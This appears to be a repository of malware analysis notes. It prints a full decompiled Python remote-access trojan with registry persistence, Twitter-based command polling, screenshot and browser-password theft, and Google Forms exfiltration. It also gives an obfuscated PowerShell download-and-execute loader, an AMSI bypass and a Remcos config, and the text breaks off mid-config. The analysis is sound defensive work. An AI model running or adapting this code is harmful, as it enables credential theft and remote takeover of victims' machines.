├── 29886dbbe81ead9e9999281e62ecf95d07acb24b9b0906b28beb65a84e894091.md ├── 30664f227788820c3f11911676a053655fb114cf6b0ca28a2a3fc9d9968a77ba.md ├── 3c18ac6d5fbcb89d733d0f281d68584717934c9628b6795ac89d97eb5d117c5b.md ├── 546bf4fc684c5d1e17b204a28c795a414124335b6ef7cbadf52ae8fbadcb2a4a.md ├── LICENSE ├── README.md ├── d2cd734c7d08fe8a5f1f65e319a3204f0c8b46ea224f1b90b3c8a6d0c6de586a.md ├── dd9500549f285c9095198f81a1aeff4910dd361ee79ed0fb9bc103e3a70837c5.md ├── e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60.md ├── ea0923854208956b1f563c5301bd0c9a8561128b7bd48c5b475ddeea29da8a1c.md ├── f8c94e76f4d756924bf929b32f85158bc81911ce4a606af67e37460405e0ad3f.md ├── gazavat_expiro_dga └── gazavat_dga_doms.txt ├── metastealer_dga ├── doms_0x113b.txt ├── doms_0x1234.txt ├── doms_0x2f73.txt ├── doms_0x4b9a.txt ├── doms_0x7b2f.txt ├── doms_0x9b2f.txt ├── doms_0xabc8.txt └── doms_0xc17a.txt └── sunburst_dga ├── data.txt ├── decode.py ├── dump.txt └── readme.md /29886dbbe81ead9e9999281e62ecf95d07acb24b9b0906b28beb65a84e894091.md: -------------------------------------------------------------------------------- 1 | 7c487d8462567a826da95c799591f5fb 2 | 3 | https://twitter.com/Rmy_Reserve/status/1217066627440635905 4 | 5 | 6 | Downloads a vba doc file 7 | 8 | ``` 9 | 2458 wget "https://drive.google.com/uc?export=download&id=1LVdv4bjcQegPdKrc5WLb4W7ad6Zt80zl" 10 | 11 | ``` 12 | 13 | ``` 14 | Dim myURL As String 15 | myURL = "https://drive.google.com/uc?export=download&id=1d-toE89QnN5ZhuNZIc2iF4-cbKWtk0FD" 16 | 17 | Dim WinHttpReq As Object 18 | Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1") 19 | WinHttpReq.Open "GET", myURL, False 20 | WinHttpReq.SetRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" 21 | WinHttpReq.send 22 | 23 | ``` 24 | 25 | 26 | ``` 27 | 2466 wget "https://drive.google.com/uc?export=download&id=1d-toE89QnN5ZhuNZIc2iF4-cbKWtk0FD" 28 | ``` 29 | 30 | 1d-toE89QnN5ZhuNZIc2iF4-cbKWtk0FD: 31 | 7e1121fca3ac7c2a447b61cda997f3a8202a36bf9bb08cca3402df95debafa69 32 | an image file with a base64 encoded EXE in it 33 | 34 | Decoded EXE is an autoit downloader 35 | 36 | b4a43b108989d1dde87e58f1fd6f81252ef6ae19d2a5e8cd76440135e0fd6366 37 | 38 | 39 | downloads a python rat 40 | 4228a5719a75be2d6658758fc063bd07c1774b44c10b00b958434421616f1548 41 | 42 | 43 | Which also downloads webbrowserpassview and profiles the system 44 | 45 | ``` 46 | wget "https://drive.google.com/uc?export=download&id=1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o" 47 | ``` 48 | 49 | Also downloads a hash 50 | 51 | ``` 52 | wget "https://drive.google.com/uc?export=download&id=1BmzeSxclQMmxiD-8SjnyxXQolx-44cJh" 53 | ``` 54 | 55 | and another image file 56 | 57 | ``` 58 | get "https://drive.google.com/uc?export=download&id=1JRWUcux5uocl9gNZ3f8Ue--P1kLjZkQC" 59 | 60 | ``` 61 | 62 | Which has a upx packed exe in it which unpacks to Nirsoft Nircmd used for screenshot 63 | 64 | 65 | 66 | 67 | 68 | decompiled python rat after fixing final2 files python3 header 69 | 70 | ``` 71 | from requests import post, get 72 | from datetime import datetime 73 | from os import path, environ, remove, startfile 74 | from bs4 import BeautifulSoup 75 | from time import sleep, gmtime, strftime 76 | import subprocess, threading, winreg as wreg 77 | from base64 import b64decode, b64encode 78 | from random import choice 79 | import sys 80 | tw = '@jhone87438316' 81 | ss_id = '1FAIpQLSfCNzwaz4WoFfnvNZS99CeGMp86H3hNoHCtwira8uW_b3vYTQ' 82 | ss_id_entry = 'entry.62933741' 83 | out_id = '1FAIpQLSfwDQBvgZZfMu1LKviMuCdaWfYato07ac5tS5IZJS1XZ6BEbw' 84 | out_user_entry = 'entry.1539892742' 85 | out_result_entry = 'entry.1818065606' 86 | fk = '1BmzeSxclQMmxiD-8SjnyxXQolx-44cJh' 87 | t1 = '1JRWUcux5uocl9gNZ3f8Ue--P1kLjZkQC' 88 | t2 = '1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o' 89 | ch = [ 90 | 'chrome', 'ccleaner', 'winrar', 'proc'] 91 | chimg = ['imag', 'pic', 'photo', 'cartoon'] 92 | u1 = choice(ch) + '.exe' 93 | img = choice(chimg) + '.jpg' 94 | txt = choice(ch) + '.txt' 95 | 96 | def xvfdgytrynmsdfdszxc(command): 97 | DEVNULL = subprocess.DEVNULL 98 | out = str(subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL).decode()).replace('\r\r\n', '') 99 | return out 100 | 101 | 102 | content1 = xvfdgytrynmsdfdszxc('wmic diskdrive get SerialNumber /format:list').replace(' ', '').replace('SerialNumber=', '') 103 | 104 | def dvnhhqertbvvfkl(file, id): 105 | if not path.exists(file): 106 | print('log no exist *') 107 | with open(file, 'w+') as (f): 108 | f.write(id) 109 | f.flush() 110 | f.close() 111 | xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp3.tmp"') 112 | else: 113 | print('log exist *') 114 | remove(file) 115 | with open(file, 'w+') as (f): 116 | f.write(id) 117 | f.flush() 118 | f.close() 119 | xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp3.tmp"') 120 | 121 | 122 | def dghtytyplqwesbnz(jpg_file_path, out_file): 123 | f = open(jpg_file_path, 'rb') 124 | jpgdata = f.read() 125 | f.close() 126 | b64 = str(jpgdata).split('****')[1].replace("'", '') 127 | bytes = b64decode(b64, validate=True) 128 | f = open(out_file, 'wb') 129 | f.write(bytes) 130 | f.close() 131 | return out_file 132 | 133 | 134 | def qtypasadfzxc(id): 135 | p1 = environ['appdata'] + '\\' + choice(chimg) + '.jpg' 136 | url = 'https://drive.google.com/uc?export=qtypasadfzxcload&id=' + id 137 | headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', 'Upgrade-Insecure-Requests':'1', 'DNT':'1', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate'} 138 | r = get(url, headers=headers) 139 | with open(p1, 'wb') as (f): 140 | f.write(r.content) 141 | f.close() 142 | out = environ['appdata'] + '\\' + u1 143 | d1 = dghtytyplqwesbnz(p1, out) 144 | delcmd = 'del ' + p1 145 | xvfdgytrynmsdfdszxc(delcmd) 146 | 147 | 148 | def dzdfdytyuio(userid, fileid): 149 | p1 = environ['USERPROFILE'] + '\\qtypasadfzxcloads\\' + choice(chimg) + '.jpg' 150 | p2 = environ['USERPROFILE'] + '\\qtypasadfzxcloads\\' + choice(ch) + '.exe' 151 | url = 'https://drive.google.com/uc?export=qtypasadfzxcload&id=' + fileid 152 | headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', 'Upgrade-Insecure-Requests':'1', 'DNT':'1', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate'} 153 | r = get(url, headers=headers) 154 | with open(p1, 'wb') as (f): 155 | f.write(r.content) 156 | f.flush() 157 | f.close() 158 | dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', fileid) 159 | d1 = dghtytyplqwesbnz(p1, p2) 160 | remove(p1) 161 | startfile(p2) 162 | gfdggvbdsopqq(out_id, out_user_entry, userid, out_result_entry, d1) 163 | 164 | 165 | def fdvdgfyfytuiowe(): 166 | contents = '' 167 | mylist = [] 168 | key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Keyboard Layout\\Preload', 0, wreg.KEY_ALL_ACCESS) 169 | try: 170 | for i in range(4): 171 | n, v, t = wreg.EnumValue(key, i) 172 | mylist.append(v[4:]) 173 | 174 | except EnvironmentError: 175 | pass 176 | 177 | key.Close() 178 | if any(x == '0401' for x in mylist) or any(x == '0801' for x in mylist) or any(x == '0c01' for x in mylist) or any(x == '1001' for x in mylist) or any(x == '1401' for x in mylist) or any(x == '1801' for x in mylist) or any(x == '1c01' for x in mylist) or any(x == '2001' for x in mylist) or any(x == '2401' for x in mylist) or any(x == '2801' for x in mylist) or any(x == '3801' for x in mylist) or any(x == '3401' for x in mylist) or any(x == '3c01' for x in mylist) or any(x == '3001' for x in mylist): 179 | pass 180 | else: 181 | os._exit(0) 182 | if not path.exists(environ['appdata'] + '\\temp1.tmp'): 183 | serial = xvfdgytrynmsdfdszxc('wmic diskdrive get SerialNumber /format:list').replace(' ', '').replace('SerialNumber=', '') 184 | if serial == '': 185 | os._exit(0) 186 | ver = xvfdgytrynmsdfdszxc('wmic os get Caption /Format:List & wmic computersystem get Manufacturer,Model,domain , Name /Format:List & WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List').replace('Caption=', '').replace('Model', '').replace('Domain', '').replace('Name', '').replace(' ', '=').replace('Manufacturer', '').replace('\n\n\n', '').replace('displayName', '').split('=') 187 | v = '' 188 | for i in ver: 189 | v += i[:4] 190 | 191 | sss = serial + v 192 | with open(environ['appdata'] + '\\temp1.tmp', 'w+') as (f): 193 | f.write(sss) 194 | f.flush() 195 | f.close() 196 | xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp1.tmp"') 197 | with open(environ['appdata'] + '\\temp1.tmp', 'r') as (f): 198 | contents = f.read() 199 | f.close() 200 | else: 201 | with open(environ['appdata'] + '\\temp1.tmp', 'r') as (f): 202 | contents = f.read() 203 | f.close() 204 | return contents 205 | 206 | 207 | def bgfhfghggrydss(id='dfffdfdgrrhh'): 208 | now = datetime.now() 209 | dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', id) 210 | qtypasadfzxc(t1) 211 | sleep(2) 212 | cmd = 'start %appdata%\\' + u1 + ' savescreenshot %appdata%\\' + img 213 | print(cmd) 214 | xvfdgytrynmsdfdszxc(cmd) 215 | with open(environ['appdata'] + '\\' + img, 'rb') as (file): 216 | url = 'https://api.imgbb.com/1/upload' 217 | payload = {'key':ddrtrtrtrtetecvcdfdfdee(fk), 218 | 'image':b64encode(file.read()), 219 | 'name':content1[:7] + now.strftime('%H:%M')} 220 | res = post(url, payload) 221 | delcmd = 'del %appdata%\\' + u1 + '& del %appdata%\\' + img 222 | xvfdgytrynmsdfdszxc(delcmd) 223 | 224 | 225 | def tyyinccdfdfdsygg(id='werrttyyggg'): 226 | dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', id) 227 | qtypasadfzxc(t2) 228 | cmd = 'start %appdata%\\' + u1 + ' /stext %appdata%\\' + txt 229 | print(cmd) 230 | xvfdgytrynmsdfdszxc(cmd) 231 | sleep(2) 232 | dd = '' 233 | with open(environ['appdata'] + '\\' + txt, 'r') as (file): 234 | dd = file.read() 235 | file.close() 236 | serial = fdvdgfyfytuiowe()[:10] 237 | gfdggvbdsopqq(out_id, out_user_entry, serial, out_result_entry, dd.replace('\x00', '')) 238 | delcmd = 'del %appdata%\\' + u1 + '& del %appdata%\\' + txt 239 | xvfdgytrynmsdfdszxc(delcmd) 240 | 241 | 242 | def mjhd(name=tw): 243 | if name.startswith('@'): 244 | name = name[1:] 245 | url = 'https://twitter.com/' + name 246 | headers = {'User-Agent': 'Chrome/28.0.1500.52'} 247 | r = get(url, headers=headers) 248 | data = r.text 249 | print(r.status_code) 250 | soup = BeautifulSoup(data, 'html.parser') 251 | title = soup.title.text 252 | bio = soup.find('p', {'class': 'ProfileHeaderCard-bio'}).text 253 | tweets = soup.findAll('div', {'class': 'tweet'}) 254 | m1 = tweets[:1][0].find('p').text 255 | print(m1) 256 | return m1 257 | 258 | 259 | def fdsrttrt(): 260 | user_agent = {'Referer':'https://api.ipify.org', 261 | 'User-Agent':'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36'} 262 | ip = get('https://api.ipify.org', headers=user_agent).text 263 | return ip 264 | 265 | 266 | def rthgfhfgdtr(url='http://www.google.com/', timeout=5): 267 | try: 268 | req = get(url, timeout=timeout) 269 | req.raise_for_status() 270 | return True 271 | except requests.HTTPError as e: 272 | try: 273 | return False 274 | finally: 275 | e = None 276 | del e 277 | 278 | except requests.ConnectionError: 279 | return False 280 | 281 | return False 282 | 283 | 284 | def fgdgdghnccvbbqw(id, entry, string): 285 | url = 'https://docs.google.com/forms/d/e/' + id + '/formResponse' 286 | enc = b64encode(bytes(string, 'utf8')).decode() 287 | form_data = {entry: enc} 288 | user_agent = {'Referer':'https://docs.google.com/forms/d/e/' + id + '/viewform', 'User-Agent':'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36'} 289 | r = post(url, data=form_data, headers=user_agent) 290 | if r.status_code == 200: 291 | return True 292 | else: 293 | return False 294 | 295 | 296 | def gfdggvbdsopqq(id, entry1, string1, entry2, string2): 297 | url = 'https://docs.google.com/forms/d/e/' + id + '/formResponse' 298 | enc1 = b64encode(bytes(string1, 'utf8')).decode() 299 | enc2 = b64encode(bytes(string2, 'utf8')).decode() 300 | form_data = {entry1: enc1, entry2: enc2} 301 | user_agent = {'Referer':'https://docs.google.com/forms/d/e/' + id + '/viewform', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'} 302 | r = post(url, data=form_data, headers=user_agent) 303 | if r.status_code == 200: 304 | return True 305 | else: 306 | return False 307 | 308 | 309 | def ddrtrtrtrtetecvcdfdfdee(id): 310 | url = 'https://drive.google.com/uc?export=qtypasadfzxcload&id=' + id 311 | headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', 'Upgrade-Insecure-Requests':'1', 'DNT':'1', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate'} 312 | r = get(url, headers=headers) 313 | return b64decode(r.content).decode() 314 | 315 | 316 | def ffgrtrdffdfcvcdfdfdef(): 317 | pt = sys.argv[0] 318 | destination = environ['USERPROFILE'] + '\\Documents\\' + sys.argv[0].split('\\')[(-1)] 319 | try: 320 | key0 = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, wreg.KEY_ALL_ACCESS) 321 | tt = wreg.QueryValueEx(key0, 'ChromeUpdater') 322 | key0.Close() 323 | if tt[0].replace('\\\\', '\\') != destination: 324 | key1 = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, wreg.KEY_ALL_ACCESS) 325 | wreg.SetValueEx(key1, 'ChromeUpdater', 0, wreg.REG_SZ, destination) 326 | key1.Close() 327 | except FileNotFoundError: 328 | key2 = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, wreg.KEY_ALL_ACCESS) 329 | wreg.SetValueEx(key2, 'ChromeUpdater', 0, wreg.REG_SZ, destination) 330 | key2.Close() 331 | 332 | 333 | def dfdfppoqwwdfdef(txt): 334 | temp = tempfile.TemporaryFile() 335 | temp.write(bytes(txt, 'utf8')) 336 | temp.seek(0) 337 | return temp.read().decode() 338 | 339 | 340 | def dfhbbnnnffsse(id): 341 | contents = '' 342 | if not path.exists(environ['appdata'] + '\\temp3.tmp'): 343 | print('log not exist') 344 | contents = '' 345 | else: 346 | f = open(environ['appdata'] + '\\temp3.tmp', 'r') 347 | contents = f.read() 348 | f.close() 349 | if id != contents or contents == '': 350 | return True 351 | else: 352 | return False 353 | 354 | 355 | def dfdereerexccb(tweet): 356 | if '--' in tweet and len(tweet.split('--')) >= 2: 357 | ssid = tweet.split('--')[0] 358 | id = tweet.split('--')[1] 359 | cmd = tweet.split('--')[2] 360 | if ssid in fdvdgfyfytuiowe() or ssid == 'all': 361 | if dfhbbnnnffsse(id): 362 | if cmd == 'dd': 363 | dzdfdytyuio(ssid, id) 364 | if cmd == 'cc': 365 | bgfhfghggrydss(id) 366 | if cmd == 'pp': 367 | tyyinccdfdfdsygg(id) 368 | if cmd == 'md': 369 | content2 = ddrtrtrtrtetecvcdfdfdee(id) 370 | dd = xvfdgytrynmsdfdszxc(content2) 371 | dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', id) 372 | gfdggvbdsopqq(out_id, out_user_entry, ssid, out_result_entry, dd) 373 | 374 | 375 | def dfdftretretnmnddeeaax(): 376 | while True: 377 | try: 378 | while 1: 379 | if rthgfhfgdtr(): 380 | sleep(10) 381 | if not path.exists(environ['appdata'] + '\\temp2.tmp'): 382 | f = open(environ['appdata'] + '\\temp2.tmp', 'w+') 383 | xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp2.tmp"') 384 | i = fdvdgfyfytuiowe() + fdsrttrt().replace('.', 'p') 385 | sleep(1) 386 | status = fgdgdghnccvbbqw(ss_id, ss_id_entry, i) 387 | sleep(1) 388 | f.write(str(status)) 389 | f.close() 390 | tweet = mjhd() 391 | dfdereerexccb(tweet) 392 | 393 | except: 394 | pass 395 | else: 396 | print('') 397 | 398 | 399 | def main(): 400 | t1 = threading.Thread(target=fdvdgfyfytuiowe) 401 | t1.start() 402 | t = threading.Thread(target=ffgrtrdffdfcvcdfdfdef) 403 | t.start() 404 | t2 = threading.Thread(target=dfdftretretnmnddeeaax) 405 | t2.start() 406 | t1.join() 407 | t.join() 408 | t2.join() 409 | 410 | 411 | if __name__ == '__main__': 412 | main() 413 | 414 | ``` 415 | -------------------------------------------------------------------------------- /30664f227788820c3f11911676a053655fb114cf6b0ca28a2a3fc9d9968a77ba.md: -------------------------------------------------------------------------------- 1 | 13075f41e5390842dfafd6dcfce541ba - Formularz NDA.docx 2 | 3 | https://app.any.run/tasks/dd07fca0-f98a-40a1-9e96-8a945907b990/ 4 | 5 | 6 | Annex has ole objects inside that run this 7 | 8 | ``` 9 | cmd /c start /min powershell $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://office-cleaner-commander.com/kremlin.js'',''$env:APPDATA''+''Annex.js'')'|IEX; start-process('$env:APPDATA' +'Annex.js')""",0) 10 | 11 | ``` 12 | 13 | ``` 14 | office-cleaner-commander.com - 185.98.87.210 15 | 16 | ``` 17 | 18 | kremlin.js 19 | 20 | ``` 21 | 22 | 23 | f="pod|'' nioj- i4uh34uh4uywrhy34higjho$]][rahc[;)77,421,93,93,23,0Kremlin,501,Kremlin1,601,54,23,5Kremlin,4Kremlin,79,401,76,501,501,99,5Kremlin,79,63,23,16,301,0Kremlin,501,4Kremlin,6Kremlin,38,501,501,99,5Kremlin,79,63,95,521,43,59,63,021,84,43,39,101,6Kremlin,121,89,19,39,4Kremlin,79,401,99,19,321,23,6Kremlin,99,101,601,89,97,54,401,99,79,96,4Kremlin,Kremlin1,07,421,23,93,54,93,23,6Kremlin,501,801,2Kremlin,5Kremlin,54,23,121,6Kremlin,63,23,16,5Kremlin,4Kremlin,79,401,76,501,501,99,5Kremlin,79,63,95,6Kremlin,021,101,48,101,5Kremlin,0Kremlin,Kremlin1,2Kremlin,5Kremlin,101,4Kremlin,64,6Kremlin,63,16,121,6Kremlin,63,95,14,04,001,0Kremlin,101,5Kremlin,64,6Kremlin,63,95,14,101,5Kremlin,801,79,201,63,44,93,301,2Kremlin,601,64,701,99,79,6Kremlin,6Kremlin,56,74,901,Kremlin1,99,64,4Kremlin,101,001,0Kremlin,79,901,901,Kremlin1,99,54,4Kremlin,101,0Kremlin,79,101,801,99,54,101,99,501,201,201,Kremlin1,74,74,85,2Kremlin,6Kremlin,6Kremlin,401,93,44,93,48,96,17,93,04,0Kremlin,101,2Kremlin,Kremlin1,64,6Kremlin,63,95,08,48,48,27,67,77,88,64,6Kremlin,201,Kremlin1,5Kremlin,Kremlin1,4Kremlin,99,501,77,23,901,Kremlin1,76,54,23,6Kremlin,99,101,601,89,97,54,9Kremlin,101,87,23,16,6Kremlin,63,95,05" 24 | f=f+",05,2Kremlin,63,23,16,23,801,Kremlin1,99,Kremlin1,6Kremlin,Kremlin1,4Kremlin,08,121,6Kremlin,501,4Kremlin,7Kremlin,99,101,38,85,85,39,4Kremlin,101,301,79,0Kremlin,79,77,6Kremlin,0Kremlin,501,Kremlin1,08,101,99,501,8Kremlin,4Kremlin,101,38,64,6Kremlin,101,87,64,901,101,6Kremlin,5Kremlin,121,38,19,95,14,05,55,84,15,23,44,39,101,2Kremlin,121,48,801,Kremlin1,99,Kremlin1,6Kremlin,Kremlin1,4Kremlin,08,121,6Kremlin,501,4Kremlin,7Kremlin,99,101,38,64,6Kremlin,101,87,64,901,101,6Kremlin,5Kremlin,121,38,19,04,6Kremlin,99,101,601,89,97,Kremlin1,48,85,85,39,901,7Kremlin,0Kremlin,96,19,23,16,23,05,05,2Kremlin,63,95,14,301,0Kremlin,501,2Kremlin,63,04,23,801,501,6Kremlin,0Kremlin,7Kremlin,23,521,6Kremlin,101,501,7Kremlin,18,54,23,94,23,6Kremlin,0Kremlin,7Kremlin,Kremlin1,99,54,23,901,Kremlin1,99,64,101,801,301,Kremlin1,Kremlin1,301,23,2Kremlin,901,Kremlin1,99,54,23,0Kremlin,Kremlin1,501,6Kremlin,99,101,0Kremlin,0Kremlin,Kremlin1,99,54,6Kremlin,5Kremlin,101,6Kremlin,23,16,23,301,0Kremlin,501,2Kremlin,63,321,23,Kremlin1,001,95,101,0Kremlin,Kremlin1,89,48,63,23,77,23,801,79,5Kremlin,95,14,93,37,93,44,93,24,93,04,101,99,79,801,2Kremlin,101,4Kremlin,64,93,88,96,24,93,16,101,0Kremlin,Kremlin1,89,48,63(@=i4uh34uh4uywrhy34higjho$;dc$ pod las;''niOj-]52,62,4[cePsmOc:vne$=dc$" 25 | 26 | 27 | 28 | AT("Powershell " + REVERSE(replaceAll(f))) 29 | 30 | 31 | var CurrentDirectory =WScript.ScriptFullName 32 | 33 | AT("Powershell " +"Remove-Item '" + CurrentDirectory+"'") 34 | 35 | 36 | function AT(strCommand){ 37 | var strComputer = "."; 38 | var strCommand = strCommand; 39 | var objWMIService = GetObject("winmgmts:\\\\" + strComputer + 40 | "\\root\\CIMV2"); 41 | var objProcess = objWMIService.Get("Win32_Process"); 42 | var objInParam = 43 | objProcess.Methods_("Create").inParameters.SpawnInstance_(); 44 | var objStartup = 45 | objWMIService.Get("Win32_ProcessStartup").SpawnInstance_(); 46 | objStartup.ShowWindow = 0; 47 | objInParam.CommandLine = strCommand; 48 | objInParam.ProcessStartupInformation = objStartup; 49 | var objOutParams = objWMIService.ExecMethod( "Win32_Process", 50 | "Create", objInParam ); 51 | } 52 | 53 | function replaceAll(str) { 54 | return str.split("Kremlin").join("11"); 55 | } 56 | 57 | function REVERSE(str) { 58 | return str.split("").reverse().join(""); 59 | } 60 | 61 | 62 | 63 | ``` 64 | 65 | 66 | decoded: 67 | 68 | ``` 69 | '$Tbone=\'*EX\'.replace(\'*\',\'I\');sal M $Tbone;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;$t= New-Object -Com Microsoft.XMLHTTP;$t.open(\'GET\',\'http://office-cleaner-commander.com/Attack.jpg\',$false);$t.send();$ty=$t.responseText;$asciiChars= $ty -split \'-\' |ForEach-Object {[char][byte]"0x$_"};$asciiString= $asciiChars -join \'\'|M' 70 | 71 | 72 | ``` 73 | 74 | This loads Attack.jpg which performs AMSI bypass with an onboard .NET DLL that is gzip compressed 75 | 76 | ``` 77 | byte[]]$deblindB = UNpaC0k1147555 $blindB 78 | 79 | $blind=[System.Reflection.Assembly]::Load($deblindB) 80 | [Amsi]::Bypass() 81 | 82 | [byte[]]$decompressedByteArray = UNpaC0k1147555 $MNB 83 | 84 | ``` 85 | 86 | At the end loading an onboard EXE file using a function from the .NET DLL 87 | 88 | ``` 89 | $t=[System.Reflection.Assembly]::Load($decompressedByteArray) 90 | [rOnAlDo]::ChRiS('control.exe',$MNB2) 91 | ``` 92 | 93 | The exe is Azorult: 94 | https://app.any.run/tasks/cdc6b198-6c78-46eb-acba-d859ddf8cd5e 95 | 96 | ``` 97 | hxxp://fssshipping[.]com/azo/Panel/index.php 98 | ``` 99 | 100 | ``` 101 | fssshipping.com - 85.192.35.51 102 | 103 | ``` 104 | 105 | 106 | -------------------------------------------------------------------------------- /3c18ac6d5fbcb89d733d0f281d68584717934c9628b6795ac89d97eb5d117c5b.md: -------------------------------------------------------------------------------- 1 | 3c18ac6d5fbcb89d733d0f281d68584717934c9628b6795ac89d97eb5d117c5b 2 | 3 | Has some anti in the secondary layer 4 | 5 | including a FS[0xc0] check into a heavens gate + many normal anti checks and tactics 6 | Trampolines DbgUiRemoteBreakin and DbgBreakPoint 7 | 8 | 9 | DbgBreakPoint becomes 10 | Nop 11 | Ret 12 | 13 | DbgUiRemoteBreakin becomes 14 | 15 | push 0 16 | mov eax, 2 17 | call eax 18 | retn 4 19 | 20 | 21 | 3rd layer downloads: 22 | 23 | ``` 24 | https://drive.google.com/uc?export=download&id=1aK0VvyQgvNqOCF3dahuSQIcUefrHRqZ3 25 | ``` 26 | 27 | 28 | XOR encoded file 29 | ``` 30 | 00000000: 6136 6561 3931 6165 3062 6466 6336 3066 a6ea91ae0bdfc60f 31 | 00000010: 6131 3434 3738 6630 3066 3831 3362 3138 a14478f00f813b18 32 | 00000020: 3838 3464 6262 3236 6564 6162 3861 6664 884dbb26edab8afd 33 | 00000030: 3533 3363 6166 3933 3237 6465 3564 3936 533caf9327de5d96 34 | 00000040: faca 40cc 1f2e 3c13 8ad8 b466 f3e7 7d0a ..@...<....f..}. 35 | 00000050: 9865 97ff 4102 bf45 f3ad 37dc 32ec 0080 .e..A..E..7.2... 36 | 00000060: 0139 1b75 66d6 42bb 9481 ba0e 57c0 84b2 .9.uf.B.....W... 37 | 00000070: 270d 9ea7 48ab c5ed b955 8284 7c94 0728 '...H....U..|..( 38 | 00000080: 42fe 9b13 6dcb 84a9 fe91 04fb 9048 9a33 B...m........H.3 39 | 00000090: 18c5 8420 e060 77e4 a193 a88a e297 3fbe ... .`w.......?. 40 | 000000a0: c3b0 b2a9 3c5c 497d aeb1 da46 4857 2e2a ....<\I}...FHW.* 41 | 000000b0: 4d0a f39a 6f0f b24f 97ad 37dc 32ec 0080 M...o..O..7.2... 42 | 000000c0: 6545 9c8c 46cb ab11 b49c 53a4 77dd 6d18 eE..F.....S.w.m. 43 | 000000d0: 4a33 6a0d 69b6 2c47 ca6b 722e 5e88 ee82 J3j.i.,G.kr.^... 44 | 000000e0: 6cfc c8b7 4262 64ce 8428 e01d 7c74 27f1 l...Bbd..(..|t'. 45 | 000000f0: d2b7 43fa b612 f93c 08fc 6b43 a8e4 b87b ..C....<..kC...{ 46 | 00000100: 7f92 3d66 3833 d5b9 ccda 4ecc 2305 94a0 ..=f83....N.#... 47 | 00000110: 0078 7f55 2f1e 56ef 2bb6 d876 13f1 e92a .x.U/.V.+..v...* 48 | 00000120: c93b f9df 58cb ab11 c6e8 d966 77dd 6d18 .;..X......fw.m. 49 | 00000130: 270d 9ea7 48ab c5ed b955 8284 7c95 0728 '...H....U..|..( 50 | 00000140: 1ca4 211d 217e 8864 9e3f 80ea 5d69 ce5b ..!.!~.d.?..]i.[ 51 | 00000150: 71b6 a450 720f 1e97 cbff 8ee9 83c9 50d1 q..Pr.........P. 52 | 00000160: b720 d0cc 1c2e 3c13 0ae2 b566 0c08 7d0a . ....<....f..}. 53 | 00000170: 2025 96ff 4102 ff45 b3bd 37dc 32fc 0080 %..A..E..7.2... 54 | 00000180: 0539 1b75 66d6 42bb 9081 ba0e 57c0 84b2 .9.uf.B.....W... 55 | 56 | ``` 57 | 58 | 59 | XOR decodes to a remcos sample 60 | 61 | 6befc80135832c3be7e229b682bf7689707b6457ea16b1691313a629f817306a 62 | 63 | Sample doens't have a SETTINGS resource section which is what most config decoders seems to want that I found. Also there's another index value in the config not accounted for in the JPCERT decoder, need to go through and check what the value is if I get time. 64 | 65 | Converted a memory based decoder to static and updated it 66 | https://gist.github.com/sysopfb/11e6fb8c1377f13ebab09ab717026c87 67 | 68 | ``` 69 | ['nolim.duckdns.org:4922:blessing1234|', 'oneonebilli', '1', '\x00', '\x01', '\x00', '\x00', '\x00', '\x00', '6', 'r\x00e\x00m\x00c\x00o\x00s\x00.\x00e\x00x\x00e\x00', 'r\x00e\x00m\x00c\x00o\x00s\x00', '\x00', '0', 'Remcos-B0YDF1', '1', '6', 'l\x00o\x00g\x00s\x00.\x00d\x00a\x00t\x00', '\x00', '\x01', '\x00', '10', '\x00', 'wikipedia;solitaire;', '5', '6', 'Screenshots', '\x00', 